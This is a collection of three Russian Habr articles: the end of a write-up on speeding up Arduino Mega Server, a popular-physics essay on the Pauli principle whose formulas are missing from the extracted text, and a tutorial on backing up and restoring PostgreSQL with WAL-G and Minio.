Первое препятствие мы благополучно преодолели, но когда я замерил скорость отдачи файлов в сеть, то оказался в глубоком шоке: 4,1 килобайта в секунду. То есть все наши старания по ускорению чтения данных с диска разбивались о стену черепашьей скорости отдачи этих данных в сеть.
```
client.write(data);
```
Вы уже, наверное, догадались в чём проблема и как её можно решить. Правильно, заменить побайтовую выдачу в сеть на блочную. Что и было сделано и дало прирост скорости в 14 (!) раз примерно до 57 килобайт в секунду. И вот тут наш сервер стал похож на настоящий, он наконец-то стал работать, а не ползать с черепашьей скоростью. Кстати, версия 0.11 работает на скорости 4,1 килобайта в секунду и спасает её только тандемный режим.
```
client.write(buff, size);
```
Это было очень здорово, но, как оказалось, расслабляться нам было ещё рано, настоящие трудности ещё и не начинались. Следующей эпической проблемой стала задержка ответов сервера, которой была посвящена [целая статья](http://geektimes.ru/post/259898/) (не пропустите увлекательное чтение). Вкратце, оказалось, что стандартная библиотека Ethernet, поставляемая со средой разработки Arduino в течение многих лет, содержит генетический дефект, делающий её профнепригодной. Она неправильно работает с запросами и просто «подвешивает» неодиночные запросы. Между делом, была исправлена стандартная библиотека Arduino Ethernet.
Уменьшение задержки ответов сервера, в сочетании с поднятой до нормального уровня скорости чтения файлов с карты памяти и отдачи данных в сеть, сделали Arduino Mega Server «серьёзной» и по-настоящему работоспособной системой.
Железная стена
--------------
И тут мы упёрлись в обстоятельства непреодолимой силы под названием чип W5100 (я в курсе про более продвинутые варианты, но это несколько другая история). Его четыре аппаратных сокета ставят очень жёсткие ограничения на сетевое взаимодействие с ним. Нельзя просто так взять и загрузить через него веб-страничку с десятком линков на CSS, JavaScript и HTML файлы. Каждая ссылка порождает новый запрос и новое соединение и… когда их становится больше четырёх, то начинаются проблемы с задержкой ответа. И чтобы всё это заработало, нужно организовать сетевое взаимодействие с учётом этой особенности чипа W5100.
Для решения этой проблемы было введено некое подобие серверного языка программирования (макросы), которое позволяет собирать странички на стороне сервера и, что самое главное, позволяет манипулировать сборкой страниц из скетчей на Arduino и с самих загружаемых страничек. Это даёт полную свободу и вы становитесь подобны магу или волшебнику и можете проделывать с выводимыми страничками всё, что угодно.
Например, на лету менять стиль, дизайн и функциональность выводимых страниц. Это можно представить себе в виде некой трёхмерной матрицы: одна ось — функционал сайта, вторая ось — дизайн (визуальное представление), третья ось — топология сайта. Другими словами, один сайт превращается во множество сайтов, каждый со своим дизайном, своей функциональностью и своей топологией. А работу множества сайтов обеспечивает единое ядро.
И происходит всё это на восьмибитном микроконтроллере Arduino.
Красота
-------
Поскольку мы получили в свои руки столь мощный инструмент, как AMS Matrix Engine, грех было бы им не воспользоваться и в качестве демонстрации были созданы три дополнительных сайта на которые можно переключаться одним кликом прямо на ходу (даже перезагрузку странички AMS заботливо сделает сам). Кстати, можно было сделать не три, а тридцать три сайта или сто тридцать три сайта (визуально — топологически — функционального представления информации) — ваша Arduino с лёгкостью будет их обслуживать (не одновременно, конечно, но это нам и не нужно).
По умолчанию (гик моде, вам понравится)
Домашний (спокойный дизайн и «спокойные» функции)
Модерн («модерновый» дизайн и функциональность по вкусу)
Амперка (брендирование под вашу компанию, Интернет-магазин, школу или лабораторию)
Поясню, потому, что не все могли понять то, что было написано выше. У вас есть мощный микроконтроллер и десятками пинов и обслуживающий больше полусотни датчиков. Среди них есть температурные, токовые, охранные и прочие. Каждая группа датчиков образует логический кластер, например, охрана, климат, здоровье вашего любимого кактуса и т. д. Так вот, под каждый логический кластер AMS Matrix Engine позволяет создать отдельный сайт с отдельным дизайном и функционалом. Пользователю даже в голову не придёт, что всё это богатство работает на «дохлом» и невзрачном микроконтроллере который пылится в углу.
Перспективы использования
-------------------------
**Ваши проекты**. Берёте контроллер, заливаете на него прошивку с AMS и вставляете microSD карту памяти с файлами из дистрибутива. Это всё. Система запустится и вы можете с ней работать. Если вас не устраивает функциональность, то вы просто изменяете и дописываете всё, что вам нужно.
**Продавцы Ардуино-железа**. Вместо того, чтобы продавать голое железо, вы можете продавать готовые конфигурации и (коробочные) решения под задачи клиентов. Выгода очевидна — снижается порог вхождения и расширяется рынок. Клиент покупает набор под свою задачу и пользуется им. Для этого ему не нужен ни паяльник, ни знание программирования: он работает с оборудованием, как с обычным сайтом. Конфигурация собирается как [из кубиков Лего без паяльника](https://geektimes.ru/post/259336/).
**Брендирование**. Ваша компания, ваш Интернет-магазин, ваш стартап, ваша лаборатория, в случае, если вы работаете с Ардуино-железом, может снабжать свои изделия брендированным вариантом AMS с нужной вам функциональностью.
**Создатели обучающих наборов**. Из AMS можно сделать превосходный обучающий набор. Сам контроллер будет содержать в себе документацию, скетчи, примеры, готовые опыты и т. д. В сочетании с датчиками, подключаемыми одним кликом (без паяльника) и беспроводными датчиками это будет увлекательный набор, который надолго «дезактивирует» любого ребёнка.
**Школы и обучающие центры**. На базе AMS можно проводить обучение всему спектру современных технологий: микроконтроллеры, робототехника, Умный Дом, программирование, веб-технологии, сайтостроение, дизайн интерфейсов и т. д. и т. п.
Альтернативы
------------
Я часто слышу, что легче взять «Малинку» с более продвинутыми сетевыми возможностями, но как быть с чисто микроконтроллерными функциями? У Меги 16 аналоговых пинов и 54 цифровых (не считая прочих достоинств). Как я (или вы) подключу к «Малинке» блок контроля напряжения и тока на 14 каналов? И куда мне подключать на «Малинке» десятки датчиков и исполнительных устройств? А здесь мы получаем мощный микроконтроллер и роскошное управление по сети в одном флаконе.
Есть ли недостатки?
-------------------
Условным недостатком технологии, можно назвать высокий порог вхождения (не для использования, здесь как раз всё в порядке, а для самостоятельного изменения и дополнения). Нужно знать множество современных технологий и быть достаточно квалифицированным пользователем. А так же ранняя стадия самого проекта и отсутствие качественной документации.
Но если вас не пугают подобные трудности, то лучшего тренажёра для освоения всего спектра современных технологий вам не найти.
Последняя актуальная версия
---------------------------
Загрузить последнюю актуальную версию вы можете с официального сайта проекта [Arduino Mega Server](http://hi-lab.ru/arduino-mega-server). А задать возникшие вопросы — на [форуме](http://majordomo.smartliving.ru/forum/viewtopic.php?f=4&t=2347). Для интересующихся: типичное время загрузки странички в одиночном режиме — четыре секунды, иногда чуть меньше, иногда чуть больше, но в среднем около четырёх секунд. В тандемном режиме — примерно в два раза быстрее. Простор для оптимизации огромный, но в целом уже вполне можно пользоваться.
**Дополнение**. Открыт канал на Youtube и вот [промо ролик](http://www.youtube.com/watch?v=jmu0MkIlywU) Arduino Mega Server, который демонстрирует работу с реальной системой. | https://habr.com/ru/post/366189/ | null | ru | null |
# Что запрещает принцип Паули?
*Принцип запрета Паули с однозначной многочастичной волновой функцией эквивалентен требованию, чтобы волновая функция была* [*антисимметричной по отношению к обмену частицами*](https://ru.wikipedia.org/wiki/%D0%A2%D0%BE%D0%B6%D0%B4%D0%B5%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D0%B5_%D1%87%D0%B0%D1%81%D1%82%D0%B8%D1%86%D1%8B)*.* Как это объяснить на пальцах? Легко - ткните пальцем в стол, в монитор, во что-нибудь твердое. Глубоко пронзили материю? Удалось достичь перекрывания атомных электронных облаков пальца и стола? Нет? Не удивительно. Читайте дальше, если хотите узнать, почему так.
### Спин
**Цитата из Википедии: *Принцип исключения Паули*** *(****принцип запрета Паули*** *или просто* ***принцип запрета****) — это* [*квантово-механический*](https://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%BA%D0%B0) *принцип, который гласит, что два или более* [*идентичных*](https://ru.wikipedia.org/wiki/%D0%A2%D0%BE%D0%B6%D0%B4%D0%B5%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D0%B5_%D1%87%D0%B0%D1%81%D1%82%D0%B8%D1%86%D1%8B)[*фермиона*](https://ru.wikipedia.org/wiki/%D0%A4%D0%B5%D1%80%D0%BC%D0%B8%D0%BE%D0%BD) *(частицы с полуцелым* [*спином*](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D0%BD)*) не могут одновременно находиться в одном и том же* [*квантовом состоянии*](https://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%BE%D0%B5_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5) *в* [*квантовой системе*](https://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%BA%D0%B0)*.*
Волновая функция вращающейся частицы.Что-то про спин. Начнём с того, что такое [спин](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D0%BD), в частности, *полуцелый спин*. Пускай частица движется по окружности длины , а через мы обозначим позицию частицы. Частица будет описываться [волновой функцией](https://ru.wikipedia.org/wiki/%D0%92%D0%BE%D0%BB%D0%BD%D0%BE%D0%B2%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F). Для простоты положим, что это самая обычная бегущая волна.
Волновая функция должна однозначно определяться на окружности, а поворот на
 радиан никак не должен её изменять, то есть:
Экспонента в мнимой степени это тригонометрическая функция, как синус или косинус, по сути мы записали, что волновая функция *периодическая*. Это возможно только если произведение
, где *n* - обязательно *целое* число. Вспомнив, что произведение  ничто иное как [момент импульса](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%BC%D0%B5%D0%BD%D1%82_%D0%B8%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81%D0%B0), для нашей частицы мы получаем условие:
Та самая открытка Нильсу Бору от Отто Штерна и Вальтера Герлаха.Всё это хорошо, но Отто Штерн и Вальтер Герлах [установили](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D1%8B%D1%82_%D0%A8%D1%82%D0%B5%D1%80%D0%BD%D0%B0_%E2%80%94_%D0%93%D0%B5%D1%80%D0%BB%D0%B0%D1%85%D0%B0), что электрон может так вращаться, что совершив полный оборот он не придёт в тоже самое состояние, что и раньше. А вот если два оборота сделает, тогда всё хорошо. В его случае *n=1/2* и он может крутиться с периодичностью . Если Вы тоже задали себе этот вопрос: а *что, черт возьми, курили эти ученые*, то вам поможет удовлетворить любопытство эта статья - [Stern and Gerlach: How a Bad Cigar Helped Reorient Atomic Physics](https://physicstoday.scitation.org/doi/10.1063/1.1650229).
Вращение тела с периодичностью 720 градусов.Хорошие новости - в трехмерном пространстве [есть такой тип вращения](https://en.wikipedia.org/wiki/Orientation_entanglement). Забавная особенность - такое вращение не перекручивает подсоединенные к телу верёвки. Попробуйте этот трюк в баре с кружкой пива - Вы сможете её постоянно поворачивать не перекручивая свою руку.
### Антисимметричность по отношению к обмену электронов
Перестановка двух связанных друг с другом объектов трехмерного пространства эквивалентна повороту одного из них на 360 градусов. Значит, если периодичность вращения объекта  - то перестановка приводит к смене его волновой функции. Две смены знака: .
Обязательную смену знака волновой функции при перестановке двух частиц со спином можно трактовать как требование не перекручивать связывающее их пространство [См. [Pauli principle in Euclidean geometry](https://aapt.scitation.org/doi/abs/10.1119/1.11635)]. Эта лента гибкая, но до определенных пределов. Давайте установим предел гибкости нашего пространства-времени на скручивание.
Следующий пример описывается в статье Вайскопф, В. [*Современная физика в элементарном изложении*](https://www.ufn.ru/ru/articles/1971/1/g/). УФН 103(1) (1971) 155-179. Пусть есть два электрона с волновыми функциями:
Забудем пока об электростатическом отталкивании, просто летят два электрона с импульсами
 на встречу друг другу. Расстояние между ними . Волновая функция этой системы электронов:
однако, она в таком виде еще не обладает свойством антисимметрии. Легко поправить дело:
тогда перепишем её как:
[Плотность вероятности](https://ru.wikipedia.org/wiki/%D0%9F%D0%BB%D0%BE%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%B2%D0%B5%D1%80%D0%BE%D1%8F%D1%82%D0%BD%D0%BE%D1%81%D1%82%D0%B8) имеет вид:
где  - [волновое число](https://ru.wikipedia.org/wiki/%D0%92%D0%BE%D0%BB%D0%BD%D0%BE%D0%B2%D0%BE%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%BE). Для всех возможных импульсов со средним значением плотность вероятности  есть интеграл по всем волнам с различными значениями *k*. После интегрирования получаем, что  имеет вид ступени.
Черная кривая - плотность вероятности для некоего среднего значения импульса.Плотность вероятности встречи электронов на расстоянии менее  стремится к нулю. Минимальное возможное расстояние между ними, как видно, имеет порядок их средней длины волны, т.е. . Именно так получается характерный объём пространства, занимаемый электроном. Как будто электрон - упругий шарик.
### Принцип запрета Паули
Плотная упаковка электронов в атоме.Расположим шарики-электроны плотной упаковкой, т.к. положительно заряженное ядро стягивает их к себе, а принцип Паули и кулоновское отталкивание мешают подходить им близко друг к другу. В полученной структуре шарики расположены слоями - наружный слой, средний, внутренний. Места в пространстве у шариков однозначно задаются адресами из трех целых чисел. (Подробнее см. в Stevens, P.S. *A Geometric Analogue of the Electron Cloud.* Proceedings of the National Academy of Sciences 56(3) (1966) 789-793.) Смотрите на картинку.
Оболочечная структура атома: главное квантовое число, орбитальное число и магнитное число.Если считать, что четвертое число - окраска шара (черная/белая, спин +1/2 или -1/2), получим, что принцип запрета Паули (*нет двух электронов в атоме с одинаковым набором четырех квантовых чисел*) эквивалентен однозначности адресации шара в плотной упаковке.
В свою очередь, атомы в веществе, как правило, стремятся плотно заполнить пространство. Пустого места нет, и метафора с *электронными облаками*, а облака могут проникать друг в друга, здесь неуместна. Материя плотная и мы это чувствуем физически.
### Октет Льюиса, двойной квартет Линнета
Стремление к заполнению оболочки ([правило 8 электронов](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BE%D0%BA%D1%82%D0%B5%D1%82%D0%B0), [правило 18 электронов](https://en.wikipedia.org/wiki/18-electron_rule)) есть ничто иное, как попытка электронов атома выстроить максимально плотную и симметричную структуру. Более того, октет Льюиса как раз исторически произошёл от [кубической модели атома](https://en.wikipedia.org/wiki/Cubical_atom). С появлением квантовой механики о кубе забыли, но правило октета осталось в школьных учебниках.
В 1961 году Линнет выдвинул интересную модификацию правила октета Льюиса (см. Дей К., Селбин Д. *Теоретическая неорганическая химия.* М.: "Химия" 1976. Стр. 197). Он предположил, что ключевым принципом построения оболочки должно быть максимальное отталкивание электронов одного спина. Учитывая, что они же стягиваются к ядру атома, получается плотная упаковка - тетраэдр. Устойчивой оболочкой Линнет считал ориентацию двух тетраэдров, обеспечивающую их максимальное отталкивание, т.е. 4+4=8, куб. Пока мы не рассматриваем спин, его правило не отличается от правила октета, однако, оно приводит к геометрической трактовке связи. Например, отличие однократной, двойной и тройной связей выглядит так:
Этан, этилен, ацетилен.Интересно, что предсказываемые соотношения для длин связей находятся в прекрасном согласии с наблюдаемой геометрией молекул. Более того, его принцип позволяет объяснить электронную структуру молекулы [кислорода](https://ru.wikipedia.org/wiki/%D0%9A%D0%B8%D1%81%D0%BB%D0%BE%D1%80%D0%BE%D0%B4), для которой основное состояние - триплет, два неспаренных электрона. Правило октета в данном случае бессильно.
Триплетное состояние кислорода.Долгое время было загадкой, почему две [молекулы NO](https://ru.wikipedia.org/wiki/%D0%9E%D0%BA%D1%81%D0%B8%D0%B4_%D0%B0%D0%B7%D0%BE%D1%82%D0%B0(II)) (свободные радикалы) не образуют устойчивый димер, в отличие от [циана CN](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D0%B0%D0%BD_(%D0%B2%D0%B5%D1%89%D0%B5%D1%81%D1%82%D0%B2%D0%BE)), который димеризуются в дициан C2N2. С позиции теории двойного квартета, структура O=N-N=O потребовала бы пространственного совмещения тетраэдров электронов разного спина, что невыгодно из-за электростатического отталкивания, тогда как дициан позволяет минимизировать отталкивание электронов. Принцип плотной упаковки электронов описывает все типы химических связей: [ковалентную](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B2%D0%B0%D0%BB%D0%B5%D0%BD%D1%82%D0%BD%D0%B0%D1%8F_%D1%81%D0%B2%D1%8F%D0%B7%D1%8C) с кратными связями, [ионную](https://ru.wikipedia.org/wiki/%D0%98%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B2%D1%8F%D0%B7%D1%8C), а также [металлическую связь](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%B0%D0%BB%D0%BB%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%81%D0%B2%D1%8F%D0%B7%D1%8C).
Расчёт координат центроидов локализованных орбиталей Бойса у кислорода
```
! Используем программу GAMESS US
$CONTRL SCFTYP=UHF MULT=3
LOCAL = BOYS
RUNTYP=ENERGY NZVAR=0
$END
! PRTLOC = a flag to control supplemental printout. The
! extra output is the rotation matrix to the
! localized orbitals, and, for the Boys method,
! the orbital centroids, for the Ruedenberg
! method, the coulomb and exchange matrices,
! for the population method, atomic populations.
! (default=.FALSE.)
$LOCAL PRTLOC=.T. $END
$SYSTEM TIMLIM=100 MWORDS=5 $END
$BASIS GBASIS=STO NGAUSS=3 $END
$GUESS GUESS=HUCKEL $END
$DATA
Cnv 4
O 8.0 0.0 0.0 0.000
O 8.0 0.0 0.0 1.210
$END
```
Орбитали Бойса. Связь C-H, двойная связь, тройная связь.[Орбитали Бойса](http://chemlib.ru/books/item/f00/s00/z0000021/st022.shtml), как видно из картинки выше, отличаются от "традиционных" представлений о различии связей [π-типа](https://ru.wikipedia.org/wiki/%D0%9F%D0%B8-%D1%81%D0%B2%D1%8F%D0%B7%D1%8C) и [σ-типа](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B3%D0%BC%D0%B0-%D1%81%D0%B2%D1%8F%D0%B7%D1%8C). Моё мнение - концепция Линнета куда как больше подходит к школьному курсу химии, чем существующий набор разрозненных представлений - правило Льюиса, гибридизация, орбитали... Электроны и ядра, связанные классическими механическими силами, выстраивают атомы и связи, последние, в свою очередь, образуют механическую молекулярную систему - появляется понятие о [конформации](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F) молекул.
### Потенциал Гейзенберга
[Соотношение неопределённости](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%BD%D0%B5%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D1%91%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8) , как и принцип Паули, также интерпретируется с позиций механики. Рассмотрим атом водорода. Запишем импульс электрона - , а радиус его орбиты - . Имеем: . Полная энергия атома (в [системе атомных единиц](https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%BE%D0%BC%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%B5%D0%B4%D0%B8%D0%BD%D0%B8%D1%86)):
Тогда c учётом соотношения неопределенности  имеем:
В точке минимума  энергия атома водорода  как и должно быть по законам квантовой механики. Вид потенциала аналогичен таковому у шарика на упругой пружинке. Воспользуемся найденным потенциалом для поиска кривой потенциальной энергии [молекулярного иона](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%BB%D0%B5%D0%BA%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BE%D0%BD_%D0%B2%D0%BE%D0%B4%D0%BE%D1%80%D0%BE%D0%B4%D0%B0).
Пусть электрон в молекулярном ионе  находится на линии связи H-H, на расстояниях от центров , . Тогда статическое равновесие сил записывается как:
Решим систему уравнений и найдем зависимость полной энергии иона от межядерного расстояния.
Сессия MAXIMA решения системы уравнений.Решение системы не требует каких-то нешкольных навыков, просто [MAXIMA](https://ru.wikipedia.org/wiki/Maxima) удобна, чтобы не запутаться в выкладках. Результаты на картинке ниже.
Кривая потенциальной энергии молекулярного иона водорода.Мы видим, что молекулярный ион термодинамически стабилен относительно распада на протон и атом водорода. Энергия разрыва связи составляет 1/16 (164 кДж/моль), а длина связи - R=8/3 (1.41 [Å](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D1%81%D1%82%D1%80%D0%B5%D0%BC)). Экспериментальные значения - 255 кДж/моль энергия связи, расстояние - 1.07 [Å](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D1%81%D1%82%D1%80%D0%B5%D0%BC). Для такой простой модели это более чем хорошее согласие.
### Заключение
Сведение квантовомеханической задачи к [молекулярной механике](https://en.wikipedia.org/wiki/Force_field_(chemistry)) фермионов открывает в перспективе легкий и очень быстрый способ моделирования свойств материалов и химических реакций. Простые аппроксимации потенциалов Паули и Гейзенберга, к сожалению, не позволяют добиться высокой точности в предсказании свойств. Пока. Тем не менее, сам подход хорош уже тем, что не требует сложнейшего аппарата квантовой механики для понимания различных химических и физических явлений. Возможно, что кому то следующая мысль покажется крамолой, но я уверен в том, что основы химии можно объяснить без отсылок к квантовой физике. Без разбора уравнения Шредингера, гибридизации, теории резонанса, перекрывания орбиталей и прочего.
---
Наши [серверы](https://macloud.ru/?partner=4189mjxpzx) можно использовать для разработки и просчета научных экспериментов.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
 | https://habr.com/ru/post/555522/ | null | ru | null |
# Знакомство с wal-g системой бекапирования PostgreSQL
[WAL-G](https://github.com/wal-g/wal-g) — простой и эффективный инструмент для резервного копирования PostgreSQL в облака. По своей основной функциональности он является наследником популярного инструмента [WAL-E](https://github.com/wal-e/wal-e), но переписанным на Go. Но в WAL-G есть одна важная новая особенность — дельта-копии. Дельта-копии [WAL-G](https://github.com/wal-g/wal-g) хранят страницы файлов, изменившиеся с предыдущей версии резервной копии. В WAL-G реализовано довольно много технологий по распараллеливанию бэкапов. WAL-G работает гораздо быстрее чем, WAL-E.
Подробности работы wal-g можно прочитать в статье: [Разгоняем бэкап. Лекция Яндекса](https://habr.com/ru/company/yandex/blog/415817/)
Протокол хранения S3 стал популярным для хранения данных. Одно из преимуществ S3 — возможность доступа через API, что позволяет организовать гибкое взаимодействие с хранилищем, включая публичный доступ на чтение, в то время как обновление информации в хранилище происходит только авторизованными лицами.
Существует несколько как открытых, так и частных реализаций хранилищ, работающих по протоколу S3. Сегодня мы рассмотрим популярное решение для организации малых хранилищ — Minio.
Для тестирования wal-g подойдет один сервер PostgreSQL, а в качестве замены S3 используется Minio.
Сервер Minio
------------
Установка Minio
```
yum -y install yum-plugin-copr
yum copr enable -y lkiesow/minio
yum install -y minio mc
```
Правим AccessKey и SecretKey в /etc/minio/minio.conf
```
vi /etc/minio/minio.conf
```
Если вы не будете использовать nginx перед Minio, то нужно изменить
```
--address 127.0.0.1:9000
```
```
--address 0.0.0.0:9000
```
Генерируем и добавляем в MINIO\_ACCESS\_KEY и MINIO\_SECRET\_KEY в /etc/minio/minio.conf
```
# Custom username or access key of minimum 3 characters in length.
#MINIO_ACCESS_KEY=
# Custom password or secret key of minimum 8 characters in length.
#MINIO_SECRET_KEY=
```
Запускаем Minio
```
systemctl start minio
```
Заходим в web-интерфейс Minio [http://ip-адрес-сервера-minio:9000](http://ip-%D0%B0%D0%B4%D1%80%D0%B5%D1%81-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0-minio:9000) и создаем бакет (например, pg-backups).
Сервер БД
---------
WAL-G в rpm собираю я (Антон Пацев). [Github](https://github.com/patsevanton/wal-g-rpm), [Fedora COPR](https://copr.fedorainfracloud.org/coprs/antonpatsev/wal-g/).
У кого не RPM-based система используйте официальную [инструкцию](https://github.com/wal-g/wal-g#installation) по установке.
Вместе с бинарником wal-g в rpm присутствуют скрипты, которые импортируют переменные из файла /etc/wal-g.d/server-s3.conf.
```
backup-fetch.sh
backup-list.sh
backup-push.sh
wal-fetch.sh
wal-g-run.sh
wal-push.sh
```
Устанавливаем wal-g.
```
yum -y install yum-plugin-copr
yum copr enable -y antonpatsev/wal-g
yum install -y wal-g
```
Проверяем версию wal-g.
```
wal-g --version
wal-g version v0.2.14
```
Редактируем /etc/wal-g.d/server-s3.conf по свои нужды.
Файлы конфигурации и файлы данных, используемые кластером базы данных, традиционно хранятся вместе в каталоге данных кластера, который обычно называют `PGDATA`
```
#!/bin/bash
export PG_VER="9.6"
export WALE_S3_PREFIX="s3://pg-backups" # бакет, который мы создали в S3
export AWS_ACCESS_KEY_ID="xxxx" # AccessKey из /etc/minio/minio.conf
export AWS_ENDPOINT="http://ip-адрес-сервера-minio:9000"
export AWS_S3_FORCE_PATH_STYLE="true"
export AWS_SECRET_ACCESS_KEY="yyyy" # SecretKey из /etc/minio/minio.conf
export PGDATA=/var/lib/pgsql/$PG_VER/data/
export PGHOST=/var/run/postgresql/.s.PGSQL.5432 # Сокет для подключения к PostgreSQL
export WALG_UPLOAD_CONCURRENCY=2 # Кол-во потоков для закачки
export WALG_DOWNLOAD_CONCURRENCY=2 # Кол-во потоков для скачивания
export WALG_UPLOAD_DISK_CONCURRENCY=2 # Кол-во потоков на диске для закачки
export WALG_DELTA_MAX_STEPS=7
export WALG_COMPRESSION_METHOD=brotli # Какой метод сжатия использовать.
```
При настройке WAL-G вы указываете WALG\_DELTA\_MAX\_STEPS — количество шагов, на которые максимально отстоит от base-бэкапа дельта-бэкап, и указываете политику дельта-копии. Либо вы делаете копию с последней существующей дельты, либо делаете дельту от изначального полного бэкапа. Это нужно на тот случай, когда у вас в базе данных всегда меняется одна и та же составляющая БД, одни и те же данные постоянно изменяются.
Устанавливаем БД.
```
yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm
yum install -y postgresql96 postgresql96-server mc
```
Инициализируем бд.
```
/usr/pgsql-9.6/bin/postgresql96-setup initdb
Initializing database ... OK
```
Если вы тестируете на 1 сервере, то нужно перенастроить параметр wal\_level на archive для PostgreSQL меньше 10 версии, и replica для PostgreSQL 10 версии и старше.
```
wal_level = archive
```
Сделаем бекапирование WAL архивов каждые 60 секунд с помощью самого PostgreSQL. На проде у вас будет другое значение archive\_timeout.
```
archive_mode = on
archive_command = '/usr/local/bin/wal-push.sh %p'
archive_timeout = 60 # Каждые 60 секунд будет выполнятся команда archive_command.
```
Стартуем PostgreSQL
```
systemctl start postgresql-9.6
```
В отдельной консоли смотрим логи PostgreSQL на предмет ошибок: (postgresql-Wed.log меняете на текущий).
```
tail -fn100 /var/lib/pgsql/9.6/data/pg_log/postgresql-Wed.log
```
Заходим в psql.
```
su - postgres
psql
```
В psql создаем БД.
Создаем таблицу в бд test1.
```
create database test1;
```
Переключаемся на бд test.
```
postgres=# \c test1;
```
Создаем таблицу indexing\_table.
```
test1=# CREATE TABLE indexing_table(created_at TIMESTAMP WITH TIME ZONE DEFAULT NOW());
```
Добавление данных.
Запускаем вставку данных. Ждем 10-20 минут.
```
#!/bin/bash
# postgres
while true; do
psql -U postgres -d test1 -c "INSERT INTO indexing_table(created_at) VALUES (CURRENT_TIMESTAMP);"
sleep 60;
done
```
Смотрим записи в таблице в бд test1
```
select * from indexing_table;
2020-01-29 09:41:25.226198+
2020-01-29 09:42:25.336989+
2020-01-29 09:43:25.356069+
2020-01-29 09:44:25.37381+
2020-01-29 09:45:25.392944+
2020-01-29 09:46:25.412327+
2020-01-29 09:47:25.432564+
2020-01-29 09:48:25.451985+
2020-01-29 09:49:25.472653+
2020-01-29 09:50:25.491974+
2020-01-29 09:51:25.510178+
```
Строка это текущее время.
Переключаем сегмент WAL:
```
select pg_switch_xlog();
Для PostgreSQL выше 10:
select pg_switch_wal();
```
Делаем полный бекап.
```
su - postgres
/usr/local/bin/backup-push.sh
```
### Смотрим список полных бекапов
```
/usr/local/bin/backup-list.sh
```
### Тестирование восстановления
#### Полное восстановление с накатываем всех доступных WAL.
Останавливаем Postgresql.
Удаляем все из папки /var/lib/pgsql/9.6/data.
Запускаем скрипт /usr/local/bin/backup-fetch.sh от пользователя postgres.
```
su - postgres
/usr/local/bin/backup-fetch.sh
```
Backup extraction complete.
Добавляем recovery.conf в папку /var/lib/pgsql/9.6/data со следующим содержимым.
```
restore_command = '/usr/local/bin/wal-fetch.sh "%f" "%p"'
```
Запускаем PostgreSQL. PostgreSQL запустит процесса recovery из архивных WAL, и только потом база откроется.
```
systemctl start postgresql-9.6
tail -fn100 /var/lib/pgsql/9.6/data/pg_log/postgresql-Wed.log
```
#### Восстановление на определенное время.
Если хотим восстановить базу до определенный минуты, то в recovery.conf добавляем параметр recovery\_target\_time — указываем на какое время восстановить базу.
```
restore_command = '/usr/local/bin/wal-fetch.sh "%f" "%p"'
recovery_target_time = '2020-01-29 09:46:25'
```
После восстановления смотрим на таблицу indexing\_table
```
2020-01-29 09:41:25.226198+00
2020-01-29 09:42:25.336989+00
2020-01-29 09:43:25.356069+00
2020-01-29 09:44:25.37381+00
2020-01-29 09:45:25.392944+00
```
Запускаем PostgreSQL. PostgreSQL запустит процесса recovery из архивных WAL, и только потом база откроется.
```
systemctl start postgresql-9.6
tail -fn100 /var/lib/pgsql/9.6/data/pg_log/postgresql-Wed.log
```
### Восстановление в PostgreSQL версии 12 и выше работает по-другому:
* restore\_command и recovery\_target\_time переехали в postgresql.conf
* для запуска восстановления необходимо создать $PGDATA/recovery.signal
### Тестирование
Генерируем 1GB базу данных как описано тут <https://gist.github.com/ololobus/5b25c432f208d7eb31051a5f238dffff>
Запрашиваем размер бакета после генерации 1GB данных.
```
postgres=# SELECT pg_size_pretty(pg_database_size('test1'));
pg_size_pretty
----------------
1003 MB
```
